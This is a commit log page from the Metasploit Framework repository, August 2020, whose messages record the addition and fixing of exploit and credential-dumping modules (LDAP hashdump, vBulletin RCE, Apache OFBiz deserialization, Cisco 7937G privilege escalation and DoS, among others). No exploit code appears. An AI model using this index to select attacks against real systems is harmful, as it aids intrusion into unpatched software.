Compare commits

...

5456 Commits

Author SHA1 Message Date
Metasploit 07acf7bd37 automatic module_metadata_base.json update 2020-08-27 09:00:13 -05:00
Spencer McIntyre 5e636c8c84 Land #13906, Add a generic LDAP hashdump module 2020-08-27 09:50:15 -04:00
Spencer McIntyre aa60b4efc0 Switch back to using fail_with now that the issue is fixed 2020-08-27 09:14:51 -04:00
Hynek Petrak f8bf996233 parent 1bd4a8d752
author Hynek Petrak <hynek.petrak@gmail.com> 1595628792 +0200
committer Spencer McIntyre <Spencer_McIntyre@rapid7.com> 1598532753 -0400

Added module to dump hashes from LDAP

added hash formatters, documentation, ldap authentication

typo

sanitizing

added scenario for NASDeluxe

added few hash attribute examples

typo correction

Co-authored-by: bcoles <bcoles@gmail.com>

typo correction

Co-authored-by: bcoles <bcoles@gmail.com>

typo correction

Co-authored-by: bcoles <bcoles@gmail.com>

avoid option name conflicts

added test scenario

linted

linted

Dump all nameContexts, not just the first one. Search creds in multiple attributes.

attemt to dump special and operational attributes

check if ldap bind succeeded

sanitize the ldap hashes, skip invalid, remove {crypt} prefix

memory optimization for large LDAP servers

spaces at eols

put header to the ldif loot

added other LDAP hash formats, don't save empty ldif, dump root DSE

now we handle vmdir case too

explictly set md5crypt for $

Converted to scanner to improve performance on large networks

krbprincipalkey, memory optimization for ldap.search

handle additional hash types

be verbose about search errors

added per host timeout

catch exception from Net::Ldap

shorten the param value

handle pwdhistory entries

added comment about sambapwdhistory value

reject shorter empty sambapassordhistory entries

reject null nt and lm hashes

report assumed clear text passwords

refactored timeout for the sake of the loot

ignore {SASL} pass-trough auth entries

distinguish unresolved hashes from clear passwords

print ldap server error message, meaningful loot name

correct exception handling

handle hashes with eol

remove debug line

handle pkcs12 in binary form

attemt to control timeout on bind operation

leave LDAP#bind to be called implicitly in #search

remove debug line

fixed bug, when pillage broke the outer LDAP#search

learning ruby

monkey patched ldap connection handling, ignoring bind errors

commenting the net:LDAP misbehaviour

review fixes

review fixes

moving ldap.search into a function

remove fail_with, store loot from one place, print statistics

linting

consolidated ldap_new and connect, don't catch exceptions in the mixin

Complete the credential creation

Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2020-08-27 09:05:07 -04:00
Metasploit 518e7b3cd6 automatic module_metadata_base.json update 2020-08-27 06:44:50 -05:00
Christophe De La Fuente af06429629 Land #14048 - Allow scanner modules to skip hosts on fail_with 2020-08-27 13:32:51 +02:00
Spencer McIntyre 855aa3c521 Override fail_with in auxiliary/scanner to add an abort kwarg 2020-08-26 09:10:01 -04:00
Spencer McIntyre d1baf9677e Use nmod.vprint_error to handle peer correctly 2020-08-25 17:43:07 -04:00
Spencer McIntyre a4a0a3ab23 Allow scanner modules to skip hosts on fail_with 2020-08-25 17:38:40 -04:00
Metasploit 5368536d1a automatic module_metadata_base.json update 2020-08-25 09:16:49 -05:00
Christophe De La Fuente 0052da9d15 Land #14043', fix jupyter-login when scanning non-Jupyter hosts 2020-08-25 16:05:53 +02:00
Metasploit b2e38eb582 automatic module_metadata_base.json update 2020-08-25 08:47:46 -05:00
Spencer McIntyre 9bd687edcd Land #14034, telpho10_credential_dump: Prevent traversal in untar 2020-08-25 09:35:32 -04:00
dwelch-r7 84c9e95073 Land #14045, Reload module after toggling feature
Reload module after toggling feature
2020-08-25 14:16:02 +01:00
Alan Foster 37fd5dee27 Reload module after toggling features 2020-08-25 12:27:25 +01:00
dwelch-r7 6e4ec6fbf3 Land #14041, Fix features help command
Fix features help command
2020-08-25 10:08:34 +01:00
Spencer McIntyre e75bd31a70 Fix jupyter-login when scanning non-Jupyter hosts 2020-08-24 16:02:35 -04:00
Metasploit c087ef3fa7 automatic module_metadata_base.json update 2020-08-24 14:51:45 -05:00
Shelby Pace d7ecb08eca Land #14039, prefer cc in rtld_execl_priv_esc 2020-08-24 14:40:19 -05:00
Alan Foster 6066bd87cb Fix features help command 2020-08-24 17:31:04 +01:00
Brendan Coles 786d59d360 Use AutoCheck mixin and prefer cc over gcc 2020-08-24 11:47:50 +00:00
Spencer McIntyre 2228cef857 Land #13979, Fixed segment_injector.rb x64 shellcode 2020-08-21 17:16:46 -04:00
Spencer McIntyre f69facc96b Fix the syntax and placement of the stack alignment instruction 2020-08-21 17:09:06 -04:00
Metasploit 27456ab1a6 automatic module_metadata_base.json update 2020-08-21 15:54:51 -05:00
Shelby Pace 841d488667 Land #13985, add Cisco ssh dos module 2020-08-21 15:45:27 -05:00
Shelby Pace cd351a22b1 fix msftidy warnings 2020-08-21 15:37:05 -05:00
Metasploit 2443d38a8d automatic module_metadata_base.json update 2020-08-21 15:15:17 -05:00
Shelby Pace c578fde89c Land #13982, add cisco 7937g ssh privesc 2020-08-21 15:04:24 -05:00
Shelby Pace 39284d4263 align logging line, fix msftidy_docs warning 2020-08-21 14:55:45 -05:00
debifrank 22a09b4f1d Merge pull request #1 from space-r7/cisco-13985
add randomize ssh cred function
2020-08-21 14:25:23 -04:00
Shelby Pace 06f0e2ee92 add randomize ssh cred function 2020-08-21 13:13:33 -05:00
Metasploit 3dc6e3d2fb automatic module_metadata_base.json update 2020-08-21 12:48:51 -05:00
debifrank 28068cd85c Update cisco_7937g_dos.md 2020-08-21 13:43:14 -04:00
debifrank 33524c0cbf Create cisco_7937g_ssh_privesc.py 2020-08-21 13:40:53 -04:00
debifrank 8ea1f5acc2 Delete cisco_7937g_ssh_privesc.py 2020-08-21 13:40:17 -04:00
debifrank eda50d2a20 Delete cisco_7937g_ssh_privesc.md 2020-08-21 13:39:41 -04:00
adfoster-r7 5a26aa602e Land #14014, improve squid_pivot_scanning's handling of http response codes 2020-08-21 18:39:05 +01:00
debifrank 7598c9ec80 Create cisco_7937g_ssh_privesc.md 2020-08-21 13:39:00 -04:00
Brendan Coles 37a06756cc telpho10_credential_dump: Prevent traveral in untar 2020-08-21 15:30:55 +00:00
Metasploit 586f2443af automatic module_metadata_base.json update 2020-08-21 09:32:32 -05:00
Shelby Pace 5bcdaa50d6 Land #13984, add cisco 7937g dos module 2020-08-21 09:21:46 -05:00
Shelby Pace 1abe6ad32b msftidy, module name fixes 2020-08-21 09:11:37 -05:00
Shelby Pace e74a8f38e9 misaligned except statement 2020-08-21 09:01:45 -05:00
adfoster-r7 38d81106fe Land #14033, add cgranleese-r7 to the mailmap 2020-08-21 12:54:00 +01:00
cgranleese-r7 c70ab56c90 Add cgranleese-r7 to the mailmap 2020-08-21 11:18:25 +01:00
0x44434241 178bc3fe50 Serve the public trust. Protect the innocent. Tell noobs to delete necessary parameters. Uphold the law. 2020-08-21 08:47:05 +09:00
0x44434241 935403d937 Applying rubocop suggestions. 2020-08-21 08:35:20 +09:00
0x44434241 06cbf9a86c Applying suggested fixes. 2020-08-21 08:20:21 +09:00
Jeffrey Martin 9a64e3cd38 Land #13913, [GSoC] Specs for the SQLi library 2020-08-20 17:43:11 -05:00
Metasploit 6e8e6676b2 Bump version of framework to 6.0.3 2020-08-20 12:02:45 -05:00
Metasploit 0a91db968d automatic module_metadata_base.json update 2020-08-20 11:26:53 -05:00
Shelby Pace 9e51507e71 Land #13870, add arista aux module, test, etc 2020-08-20 11:16:18 -05:00
Shelby Pace 86dbac3466 add a space to author field 2020-08-20 10:52:39 -05:00
h00die 3326d86db7 review comments 2020-08-20 10:26:13 -05:00
h00die 2e426ae573 no db compliant 2020-08-20 10:25:08 -05:00
h00die 7bbe84dd85 arista libs 2020-08-20 10:25:08 -05:00
h00die 88f8b7174c privilege is optional 2020-08-20 10:25:08 -05:00
h00die 14e0ebe7f6 handle md5 and plaintext passwords 2020-08-20 10:25:08 -05:00
h00die 43fabcad53 arista 2020-08-20 10:25:08 -05:00
0x44434241 02e6e3feda Adding documentation for auxiliary/scanner/http/squid_pivot_scanning. 2020-08-20 17:41:03 +09:00
Metasploit d300ddbb81 automatic module_metadata_base.json update 2020-08-19 08:57:28 -05:00
Christophe De La Fuente 11e0bd1375 Landing #14016, fix syntax errors in post/osx/gather/enum_osx 2020-08-19 15:28:33 +02:00
dwelch-r7 3d1eba2b22 Land #13998, Always use module cache for searching
Always use module cache for searching
2020-08-19 12:36:17 +01:00
adfoster-r7 7fd489c390 Land #13961, Adds rhost url support behind a feature flag 2020-08-19 12:34:57 +01:00
h00die 5f07bfe183 Land #14011, docs for aux http/brute_dirs 2020-08-19 07:27:35 -04:00
adfoster-r7 d488dab6f5 Land #13974, improve winrm authentication negotiation 2020-08-19 12:16:55 +01:00
dwelch-r7 897c51d1c2 Stop trying to authenticate when poking for headers 2020-08-19 11:18:52 +01:00
Metasploit 29196416ad automatic module_metadata_base.json update 2020-08-19 04:19:35 -05:00
Christophe De La Fuente f05f2b1846 Land #13989, TeamViewer URI SMB exploit (CVE-2020-13699) 2020-08-19 11:08:40 +02:00
Alan Foster f8523cb3e2 Add additional tests for edge cases 2020-08-19 09:37:03 +01:00
h00die 28338ace57 review comments 2020-08-18 13:45:28 -04:00
Brendan Coles a765c1d994 post/osx/gather/enum_osx: Fix typos 2020-08-18 16:02:24 +00:00
Metasploit 9bd98f9942 automatic module_metadata_base.json update 2020-08-18 09:46:07 -05:00
Shelby Pace 6e2a7001a9 Land #13994, add Dlink Wifi manager rce 2020-08-18 09:34:19 -05:00
Shelby Pace d79ad5efca minor rubocop fix 2020-08-18 09:33:32 -05:00
Christophe De La Fuente b7d8fb1ee4 Land #14007, fix Msf::Post::File.file_local_write 2020-08-18 15:41:55 +02:00
dwelch-r7 e7061439ef Adds rhost url support behind a feature flag
Tidy up test

Return a string instead of a URI object

Code review comments

Rubcocop
2020-08-18 12:25:27 +01:00
Metasploit 3fcdbd9402 automatic module_metadata_base.json update 2020-08-18 06:10:27 -05:00
Christophe De La Fuente 114290cd94 Land #14006, update path in osx_enum to fix keychain download 2020-08-18 13:00:45 +02:00
0x44434241 d50ed2eb37 Better handling of Squid HTTP response codes.
The previous version has a bug where HTTP codes that are not [200, 401, 404],
or the word "Zero" is not included in the response body(??), the valid open
port is not printed to the user. This patch fixes that and improves outut.

This commit improves the resilience of this module by looking at the HTTP
response header 'X-Squid-Error', which has static strings from an enum struct
documented here: http://www.squid-cache.org/Doc/code/err__type_8h.html

If the client receives an error from Squid that is not handled, the error type
will now also be printed for the user (eg: ERR_READ_TIMEOUT).

Previously, the module would also output (almost) every IP:PORT pair, even when
they are closed or forbidden by Squid ACL. This has been moved to be a verbose
option, so that non-verbose port-scanning prints a significantly shorter list
for human consumption.

As (among others) HTTP 3xx redirects were not previously displayed to users,
the redirect location is now also printed in the output. The server header is
printed for all open ports where available, and stored in the database.
2020-08-18 12:57:18 +09:00
debifrank 9c90741a79 Rename cisco_7937G_ssh_privesc.py to cisco_7937g_ssh_privesc.py 2020-08-17 20:26:01 -04:00
debifrank 97dd5e2239 Rename cisco_7937G_ssh_privesc.md to cisco_7937g_ssh_privesc.md 2020-08-17 20:25:33 -04:00
debifrank 92129415ad Rename cisco_7937G_DoS.md to cisco_7937g_dos.md 2020-08-17 20:25:02 -04:00
debifrank c19836b7d5 Rename cisco_7937G_DoS.py to cisco_7937g_dos.py 2020-08-17 20:24:34 -04:00
debifrank cfea0db83c Rename cve_2020_16139.py to cisco_7937g_dos_reboot.py 2020-08-17 20:24:17 -04:00
debifrank 3cc8e163e3 Update and rename cve-2020-16139.md to cisco_7937g_dos_reboot.md 2020-08-17 20:23:48 -04:00
debifrank f43443240b Update and rename cve-2020-16138.md to cisco_7937G_DoS.md 2020-08-17 20:22:24 -04:00
debifrank 9906c931a2 Rename cve_2020_16138.py to cisco_7937G_DoS.py 2020-08-17 20:21:33 -04:00
debifrank fc08076240 Update and rename cve_2020_16137.py to cisco_7937G_ssh_privesc.py 2020-08-17 20:20:35 -04:00
debifrank 57d0e318cb Update and rename cve-2020-16137.md to cisco_7937G_ssh_privesc.md 2020-08-17 20:19:47 -04:00
Niboucha Redouane 0a20a217dc Fix description of the vulnerability
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-08-17 21:06:46 +02:00
Niboucha Redouane aec83d54cd fix case of first character of sentence
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-08-17 21:06:18 +02:00
Niboucha Redouane 5487552afd Fix some ponctuation, and character case
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-08-17 21:05:58 +02:00
Niboucha Redouane df3107a99f fix typo: privileged instead of privilegied
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-08-17 21:05:16 +02:00
Niboucha Redouane 602865ef70 refactor if in check method
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-08-17 21:01:34 +02:00
Metasploit 482e146a6e automatic module_metadata_base.json update 2020-08-17 13:04:23 -05:00
Spencer McIntyre d8bb3aaed4 Land #14012, Remove no-op Nokogiri::XML pretty printing in exploit/linux/http/apache_ofbiz_deserialiation 2020-08-17 13:53:39 -04:00
William Vu de5f335618 Fix formatting 2020-08-17 11:53:39 -05:00
William Vu 0c34c2559e Remove no-op Nokogiri::XML pretty printing
ea1f3d60f1
2020-08-17 11:16:11 -05:00
Metasploit d579c2358b automatic module_metadata_base.json update 2020-08-17 09:33:59 -05:00
gwillcox-r7 27ae6c4edd Land #13986, Add CVE-2020-16205 exploit for Geutebruck G-CAM 2020-08-17 09:24:32 -05:00
Metasploit d222d4b243 automatic module_metadata_base.json update 2020-08-17 09:17:08 -05:00
gwillcox-r7 8f80d9b8b6 Minor updates to the documentation to reflect the fact that the username and password could be something other than root/admin 2020-08-17 09:12:02 -05:00
Spencer McIntyre c21c346549 Land #14000, Add Apache OFBiz XML-RPC Java deserialization (CVE-2020-9496) 2020-08-17 10:08:21 -04:00
Spencer McIntyre ea1f3d60f1 Adjust XML whitespace and add commands to the setup docs 2020-08-17 10:03:44 -04:00
seska451 1f95519bd8 Ran msftidy_docs.rb 2020-08-17 22:31:00 +09:30
seska451 12cbcc9729 docs for auxiliary/scanner/http/brute_dirs.rb 2020-08-17 22:11:56 +09:30
Brendan Coles 62a912d475 Msf::Post::File.file_local_write: Use Rex::FileUtils.clean_path(local_file_name) 2020-08-17 09:50:42 +00:00
Steve Baker 8eca964ced Update path in osx_enum to fix keychain download
Looks like an anchoring "/" has always been missing for the keychain download in enum_osx to function.
2020-08-16 22:50:03 -05:00
William Vu eda222434f Execute commands in a shell 2020-08-14 21:46:34 -05:00
William Vu 22cf22fe53 Fix ARCH_CMD payload
Currently, we're not invoking within a shell.
2020-08-14 21:46:34 -05:00
William Vu f151c511bc Explain what we're doing in the check 2020-08-14 21:46:34 -05:00
William Vu d3febe3284 Set SSL as a DefaultOption and update RPORT 2020-08-14 21:46:34 -05:00
William Vu 46b6368597 Add Apache OFBiz XML-RPC Java deserialization 2020-08-14 21:46:34 -05:00
Metasploit 437797d56f automatic module_metadata_base.json update 2020-08-14 21:35:24 -05:00
William Vu dd7cc7291a Land #14003, WritableDir fix for f5_bigip_tmui_rce 2020-08-14 21:23:53 -05:00
Pearce Barry db38cce8d6 Land #14002, Fix payloads not being encoded in exploits when BadChars contains whitespace 2020-08-14 21:19:44 -05:00
William Vu 4a8b64a12f Use WritableDir in execute_cmdstager, too 2020-08-14 21:07:08 -05:00
William Vu d1cdd2cd57 Fix encoding when BadChars contains whitespace 2020-08-14 19:57:09 -05:00
ddouhine 93fa66bfc5 Update geutebruck_testaction_exec.rb
And a fix for the fix ;)
I guess now everything will work as intended !
2020-08-15 00:56:53 +02:00
gwillcox-r7 1da359ee01 Merge with last fix. This fix just fixes a issue with a method call as I tried calling the nonexistant method .true? 2020-08-14 17:49:02 -05:00
Spencer McIntyre 2c8b01dbec Land #13951, Update payload_generator.rb to properly check if payload_module is nil 2020-08-14 18:43:31 -04:00
gwillcox-r7 896c8aacae Add in AutoCheck mixin so that we ensure targets are vulnerable before attempting to exploit them. 2020-08-14 17:27:39 -05:00
gwillcox-r7 898f94320c Add in fixes to check method so that the code will return the correct status if the connection fails 2020-08-14 17:18:31 -05:00
ddouhine f3fdcf4343 Update geutebruck_testaction_exec.rb
Oops sorry, don't know what this "return true" was doing there.
2020-08-14 23:56:21 +02:00
debifrank 82857c0a36 Update cve_2020_16137.py 2020-08-14 17:47:04 -04:00
debifrank b65c49aa25 Update cve_2020_16137.py 2020-08-14 17:43:38 -04:00
debifrank 7eba463769 Update cve_2020_16138.py 2020-08-14 17:39:24 -04:00
debifrank 1e50ca7d30 Update cve_2020_16139.py 2020-08-14 17:36:43 -04:00
gwillcox-r7 9baeca3c2c Fix code to check if payload_module is blank, as this is the true fix here 2020-08-14 16:23:15 -05:00
ddouhine f726967ba7 Update geutebruck_testaction_exec.rb
with the updated check using `Gem::Version`
2020-08-14 23:17:26 +02:00
ddouhine 5e7c821d6d Update geutebruck_testaction_exec.md 2020-08-14 23:15:12 +02:00
Jeffrey Martin d3c04b13dc Land #13968, Add a method for SQL injections where query output is not needed, and read_from_file support for MySQLi 2020-08-14 15:44:53 -05:00
debifrank 9d3da31411 Update cve_2020_16139.py
catch unintended request exceptions
2020-08-14 16:18:47 -04:00
Metasploit ff10ae7b5b automatic module_metadata_base.json update 2020-08-14 15:12:06 -05:00
h00die cd41d9c3c9 Land #13911, iphone 4 on ios 7.1.2 safari jit for root 2020-08-14 16:01:14 -04:00
Metasploit 34570fbda4 automatic module_metadata_base.json update 2020-08-14 14:21:13 -05:00
William Vu 992946b565 Land #13999, backported miscellaneous module fixes 2020-08-14 14:09:50 -05:00
debifrank 0608025e26 Add files via upload 2020-08-14 14:45:54 -04:00
debifrank b608f7fed7 Delete CVE-2020-16137.py 2020-08-14 14:45:36 -04:00
debifrank 0cfcaa3aa0 Update and rename CVE-2020-16137.md to cve-2020-16137.md 2020-08-14 14:45:10 -04:00
William Vu a6f7c0c0de Backport miscellaneous fixes to my modules 2020-08-14 13:40:23 -05:00
debifrank 9d08b29358 Rename CVE-2020-16139.md to cve-2020-16139.md 2020-08-14 14:20:49 -04:00
debifrank c730eb0021 Rename CVE-2020-16138.md to cve-2020-16138.md 2020-08-14 14:20:27 -04:00
Alan Foster baa33df45d Always use module cache for searching 2020-08-14 19:14:54 +01:00
debifrank 921e3142c5 Add files via upload 2020-08-14 12:48:08 -04:00
debifrank ae065530f1 Delete CVE-2020-16138.py 2020-08-14 12:47:55 -04:00
debifrank 7e6ef0d713 Update CVE-2020-16138.md 2020-08-14 12:46:37 -04:00
debifrank e001839dcb Update CVE-2020-16138.md 2020-08-14 12:45:38 -04:00
debifrank 7d125c9741 Add files via upload 2020-08-14 12:16:52 -04:00
debifrank ffa23ba850 Delete CVE-2020-16139.py 2020-08-14 12:16:22 -04:00
debifrank 0e0bdc4f98 Update CVE-2020-16139.md 2020-08-14 12:15:53 -04:00
Metasploit 2e887a8d95 automatic module_metadata_base.json update 2020-08-14 10:17:06 -05:00
gwillcox-r7 87dc75b5ee Land #13997, Update VBulletin module with correct CVE 2020-08-14 10:05:58 -05:00
debifrank b4689dfa2d Update CVE-2020-16139.md
WIP
2020-08-14 10:12:39 -04:00
Tod Beardsley f401f48138 Update vbulletin module with correct CVE
Apparently someone snarfed the CVE for this out from under me. Since they were faster
to publish, we should use that number instead of the one out of our block.
2020-08-14 08:25:57 -05:00
dwelch-r7 a47e4d42b5 Code review comments 2020-08-14 12:28:38 +01:00
h00die 82c25ebd88 add docs to safari jit 2020-08-14 14:14:08 +07:00
Michael-ZecOps 5877c79538 Force stack alignment 2020-08-14 01:16:20 +03:00
gwillcox-r7 0dc53c46d4 Apply Rubocop fixes I forgot about and update the module description to add in missing information about affected parameters 2020-08-13 15:23:09 -05:00
gwillcox-r7 c59b3835f9 Fix up module description to have better sentence structure and English and to also include the actual versions of the products that were affected in addition to the firmware versions. This prevents people from having to read the documentation to find affected targets 2020-08-13 15:18:10 -05:00
gwillcox-r7 dc21773f10 Apply updates to make the English a bit neater r.e affected versions. Also applied updates to make the markdown have bullet points so it displays better. Finally modified up the module description to explain the actual issue a bit more, but it might still need work 2020-08-13 15:13:55 -05:00
gwillcox-r7 3c70f37dbe Update exploit ranking to reflect the fact that this is a CMD Injection vulnerability with no chance of crashing the host 2020-08-13 14:40:33 -05:00
ddouhine 959689d5de Update geutebruck_testaction_exec.rb
Fixed rubocop offenses / msftidy warnings and added @bcoles enhancements.
2020-08-13 14:29:31 -05:00
ddouhine 5f6a0746a6 Update modules/exploits/linux/http/geutebruck_testaction_exec.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-08-13 14:29:30 -05:00
ddouhine a69d941a72 Update modules/exploits/linux/http/geutebruck_testaction_exec.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-08-13 14:29:30 -05:00
ddouhine 4ceb542fac Update modules/exploits/linux/http/geutebruck_testaction_exec.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-08-13 14:29:30 -05:00
ddouhine 42a2a77a7e Update geutebruck_testaction_exec.md
or now... (forgot the msftidy_docs just before)
2020-08-13 14:29:29 -05:00
ddouhine e4f760691e Update geutebruck_testaction_exec.md
it should be better now :)
2020-08-13 14:29:29 -05:00
ddouhine a14a2fe8d2 Add documentation for Geutebruck G-CAM exploit 2020-08-13 14:29:28 -05:00
ddouhine a5e25f5a42 Add exploit for Geutebruck G-CAM 2020-08-13 14:29:28 -05:00
gwillcox-r7 c79f293e52 Land #13846, Add support for import Nmap vulners script output 2020-08-13 12:21:31 -05:00
Metasploit eb64d47b31 Bump version of framework to 6.0.2 2020-08-13 12:04:11 -05:00
h00die 55d1efc18b missed one 2020-08-13 10:45:55 -04:00
h00die c9f39def13 review comment 2020-08-13 10:44:57 -04:00
debifrank 1e244ddaec Add files via upload
Linted with msftidy_docs.rb
2020-08-13 09:57:17 -04:00
debifrank 8fe7417d1b Delete CVE-2020-16137.md
Linting
2020-08-13 09:56:58 -04:00
debifrank b461f4ede8 Add files via upload
Linted with msftidy_docs.rb
2020-08-13 09:56:30 -04:00
debifrank 45ef9f9324 Delete CVE-2020-16138.md
Linting
2020-08-13 09:56:08 -04:00
debifrank 27d889a599 Add files via upload
Linted with msftidy_docs.rb
2020-08-13 09:55:37 -04:00
debifrank f6581b9518 Delete CVE-2020-16139.md
Linting
2020-08-13 09:55:14 -04:00
debifrank d1afe60262 Add files via upload
Linted with autopep8
2020-08-13 09:52:21 -04:00
debifrank dada2abaad Delete CVE-2020-16139.py
Linting
2020-08-13 09:52:04 -04:00
debifrank a21907fcc6 Add files via upload
Linted with autopep8
2020-08-13 09:51:24 -04:00
Niboucha Redouane 1a468fa210 remove unneeded include, left from an attempt to execute native payloads 2020-08-13 15:51:09 +02:00
debifrank 4434e37a09 Delete CVE-2020-16138.py
linting
2020-08-13 09:51:03 -04:00
debifrank 0a025123e9 Add files via upload
Linted with autopep8
2020-08-13 09:50:33 -04:00
debifrank 2a739ed5eb Delete CVE-2020-16137.py
Linting
2020-08-13 09:50:09 -04:00
Niboucha Redouane 3df276230a write whole FTP link, looks like some browsers dropped FTP support, and markdown does not render it as a link 2020-08-13 15:19:33 +02:00
Niboucha Redouane 66d3b1cd59 Add exploit for CVE-2019-13372 2020-08-13 15:07:11 +02:00
h00die 16c95c4e85 teamviewer exploit 2020-08-12 19:59:00 -04:00
gwillcox-r7 2305da2638 Land #13969, Fix stall due to bad logic within scanner.rb 2020-08-12 16:57:01 -05:00
gwillcox-r7 9f17dda98c Land #13988, Ignore tests/specs when reloading files 2020-08-12 14:18:59 -05:00
Metasploit 788d944e66 automatic module_metadata_base.json update 2020-08-12 13:31:02 -05:00
gwillcox-r7 bdad038e70 Land #13959, Add a login scanner for Jupyter Notebooks 2020-08-12 13:21:21 -05:00
gwillcox-r7 da39015941 Ninja commit edits to documentation to explain how to fix some setup issues that may occur 2020-08-12 13:20:31 -05:00
Metasploit 480bd6a12d automatic module_metadata_base.json update 2020-08-12 13:11:25 -05:00
Spencer McIntyre 0fea9ab5b8 Land #13970, Vbulletin widget template rce 2020-08-12 14:02:47 -04:00
Spencer McIntyre 24b1235cf7 Whitespace adjustment and remove superfluous return statements 2020-08-12 13:59:25 -04:00
bwatters af62fb48fa Land #13965, Networking Scripts w/o DB
Merge branch 'land-13965' into upstream-master
2020-08-12 12:52:01 -05:00
debifrank 796041ddf4 Update CVE-2020-16137.md 2020-08-12 12:37:08 -04:00
debifrank b5fb4800af Update CVE-2020-16138.md 2020-08-12 12:36:25 -04:00
debifrank b65f87e0c1 Update CVE-2020-16139.md 2020-08-12 12:35:55 -04:00
debifrank cc7dd2179a Add files via upload
Documentation for CVE-2020-16139
2020-08-12 12:34:43 -04:00
debifrank 271daa67d8 Add files via upload
Documentation for CVE-2020-16138
2020-08-12 12:34:01 -04:00
debifrank dcce728012 Add files via upload
Documentation for CVE-2020-16137
2020-08-12 12:33:19 -04:00
Amir Etemadieh 0b1efd0fe9 Update modules/exploits/multi/http/vbulletin_widget_template_rce.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2020-08-12 09:33:16 -07:00
Alan Foster 5970984563 Ignore tests when reloading files 2020-08-12 17:10:08 +01:00
debifrank 884b0ec897 Update CVE-2020-16139.py
Removed jest, included more useful information
2020-08-12 11:25:32 -04:00
debifrank d43e071a7e Update CVE-2020-16137.py
Removed jest and included more useful information.
2020-08-12 11:24:20 -04:00
Zenofex e334217636 Fix from bad merge for vbulletin_widget_template_rce module. 2020-08-11 19:09:14 -05:00
Zenofex 8db34ea91b vBulletin_widget_template_rce merge 2020-08-11 18:40:09 -05:00
Zenofex 3ef01c468f Ran vBulletin_widget_template_rce through rubocop, cleaned up results. 2020-08-11 18:38:41 -05:00
Spencer McIntyre a7cbdddbb1 Update a bunch of documentation for the credential collection lib 2020-08-11 16:49:41 -04:00
Tod Beardsley 19618d9bd2 Add CVE-2020-7373 in the references 2020-08-11 14:22:11 -05:00
gwillcox-r7 2007583c29 Land #13238, Replace exit calls in bind_named_pipe handler with Thread.exit calls 2020-08-11 14:09:39 -05:00
gwillcox-r7 0882b62cf6 Replace return with Thread.exit call and interrupt_wait_for_session 2020-08-11 14:08:26 -05:00
Metasploit 394d54fae3 automatic module_metadata_base.json update 2020-08-11 13:58:51 -05:00
gwillcox-r7 4cbf4d9301 Land #13975, Fixes for bug #13956 2020-08-11 13:48:17 -05:00
Spencer McIntyre e21cf15854 Land #13778, [GSOC 2020] - EV1 - Conditionality system for module options 2020-08-11 13:31:12 -04:00
Spencer McIntyre b55f5f12aa Adjust some whitespace and comments for option conditions 2020-08-11 13:30:27 -04:00
gwillcox-r7 c35950c2c5 Update one of the messages so we can identify it easier when we review the output of this module, and add in @bcoles's Errno:ECONNRESET recommendation 2020-08-11 11:59:10 -05:00
debifrank a77931c479 Update CVE-2020-16139.py 2020-08-11 10:51:58 -04:00
debifrank e5e8c19575 Update CVE-2020-16137.py 2020-08-11 10:49:55 -04:00
debifrank 70fc0b3375 Update CVE-2020-16138.py 2020-08-11 10:41:58 -04:00
debifrank a17d29b6a2 CVE-2020-16138
Targets the Cisco Unified IP Conference Station 7937G vulnerability CVE-2020-16138 causing a DoS condition.
2020-08-11 10:40:15 -04:00
debifrank 78a7e8ae96 Update CVE-2020-16139.py 2020-08-11 10:32:37 -04:00
debifrank 18fdbfd917 Update CVE-2020-16139.py 2020-08-11 10:30:29 -04:00
debifrank 16a00ea338 Cisco 7937G DoS Reset Attack
Python module for metasploit that targets the Cisco 7937G Conference Station and vulnerability CVE-2020-16139
2020-08-11 10:29:28 -04:00
debifrank 599bfa00be Update CVE-2020-16137.py 2020-08-11 09:50:17 -04:00
debifrank e193c33ec3 SSH Exploit against the Cisco 7937G
Coincides with CVE-2020-16137
2020-08-11 09:46:01 -04:00
adfoster-r7 d472ec8dac Land #13877, add a stale bot in debug-only mode for dealing with stale issues 2020-08-11 10:50:52 +01:00
Michael-ZecOps f043e4b9b4 More space optimization while at it 2020-08-11 00:45:24 +03:00
Michael-ZecOps 10a0d43da4 Fixed segment_injector.rb x64 shellcode 2020-08-11 00:16:57 +03:00
Spencer McIntyre 3a6280e556 Add the missing set RHOSTS to the documentation example output 2020-08-10 15:25:01 -04:00
Robin 92e0522524 Fixes for bug #13956 2020-08-10 16:31:11 +01:00
dwelch-r7 f761743f0f use default of send_recv which does authentication 2020-08-10 16:25:59 +01:00
dwelch-r7 4d40c6224b undo hackiness, apply different less hacky stuff 2020-08-10 15:50:53 +01:00
Spencer McIntyre c57391501a Fix typos and clarify documentation for jupyter_login 2020-08-10 09:47:59 -04:00
dwelch-r7 efb3fe8b43 Add clarifying comments 2020-08-10 02:14:37 +01:00
dwelch-r7 ef07ac9b54 Add workaround for winrm login modules 2020-08-10 02:03:13 +01:00
Zenofex 0dab52ef35 A few last changes from msftidy and msftidy_docs. 2020-08-09 18:25:13 -05:00
HynekPetrak 11a3ff3e21 space at eol 2020-08-09 23:07:41 +00:00
HynekPetrak 59cfb3cc3a fix stall in scanner for modules with non equal duration 2020-08-09 23:05:50 +00:00
HynekPetrak 01fd457583 fix stall in scanner for modules with non equal duration 2020-08-09 23:03:46 +00:00
Zenofex 661e2a680b Initial push of exploit and module for vbulletin_widget_template_rce vulnerability. 2020-08-09 17:38:52 -05:00
Niboucha Redouane 812a0b78e2 Fix write_to_file, and add read_from_file support for MySQL 2020-08-09 19:23:22 +02:00
María Belén Tualombo Chimbo 11913f3b1e Old file deleted and reference updated 2020-08-09 12:37:42 -04:00
h00die 97a700fafc fix #13962 2020-08-09 09:41:40 -04:00
Niboucha Redouane e4b77616fa Minor formatting (rubocop -a) 2020-08-08 03:49:29 +02:00
Niboucha Redouane 1f17b07746 use Timecop, separate query_proc from sqli_obj, and address other issues in the specs 2020-08-08 03:30:12 +02:00
Metasploit 1663bf3184 automatic module_metadata_base.json update 2020-08-07 15:24:45 -05:00
